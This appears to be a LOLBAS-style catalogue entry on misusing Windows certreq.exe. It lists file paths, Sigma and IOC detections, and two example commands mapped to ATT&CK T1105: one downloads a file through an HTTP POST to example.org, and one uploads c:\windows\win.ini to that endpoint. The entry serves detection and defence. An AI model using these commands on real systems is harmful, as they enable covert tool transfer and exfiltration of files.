



Used for requesting and managing certificates

#### Paths:

C:\Windows\System32\certreq.exe C:\Windows\SysWOW64\certreq.exe

### Resources:

• <a href="https://dtm.uk/certreg">https://dtm.uk/certreg</a>

## **Acknowledgements:**

• David Middlehurst (@dtmsecurity)

#### **Detections:**

- Sigma: proc\_creation\_win\_lolbin\_susp\_certreq\_download.yml
- IOC: certreq creates new files
- IOC: certreq makes POST requests

## **Download**

Save the response from a HTTP POST to the endpoint https://example.org/ as output.txt in the current directory

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

**Use case:** Download file from Internet

Privileges required: User

Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1105: Ingress Tool Transfer

# **Upload**

Send the file c:\windows\win.ini to the endpoint https://example.org/ via HTTP POST and show response in terminal

CertReq -Post -config https://example.org/ c:\windows\win.ini

Use case: Upload Privileges required: User

Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1105: Ingress Tool Transfer

